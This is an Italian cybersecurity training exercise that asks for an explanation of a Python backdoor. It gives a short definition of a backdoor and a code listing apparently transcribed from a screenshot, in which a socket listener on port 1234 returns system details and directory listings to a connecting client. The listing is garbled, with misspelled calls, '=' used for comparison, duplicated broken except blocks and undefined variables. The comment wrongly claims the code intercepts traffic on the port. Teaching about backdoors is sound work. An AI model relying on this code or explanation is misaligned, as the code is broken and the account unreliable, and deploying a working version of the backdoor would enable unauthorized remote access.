"TRACCIA ESERCITAZIONE S3L5"

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor.

Inoltre spiegare cos'è una backdoor.

```
File Actions Edit View Help

GNU mano 6.0 backdoor.py *
import socket, platform, os

SRY_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

ibind(SRY_ADDR, SRV_PORT))

s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        oxcept:continue

if(data.decode('utf-8') = '1'):
        tosend = platform.platform() + " + platform.machine()
        connection.sendall(tosend.encode())

elif(data.decode('utf-8') = '2'):
        data = connection.recv(1024)
        try:
        filelist - os.listdir(data.decode('utf-8'))
        tosend = "," + x

        except:
        tosend + = "," + x

except:
        tosend = ""," + x

except:
        tosend = ""," + x

connection.sendall(tosend.encode())

elif(data.decode('utf-8') = '0'):
        connection, address = s.accept()
```

"DEFINIZIONE DI BACKDOOR"

E' una vulnerabilità o un meccanismo segreto all'interno di un sistema software che consente l'accesso non autorizzato o il controllo remoto del sistema.

Quindi non è nient'altro che una via di accesso nascosta che bypassa le normali procedure di autenticazione o sicurezza.

"COMMENTO"

E' una <u>backdoor</u> di ascolto sulla porta 1234 tramite la suddetta potremo intercettare le comunicazioni che avvengono quindi metterci in ascolto su tutto ciò che avvene su quella porta .

"SPIEGAZIONE"

N.B. GUARDARE I COMMENTI ALL'INTERNO DEL PROGRAMMA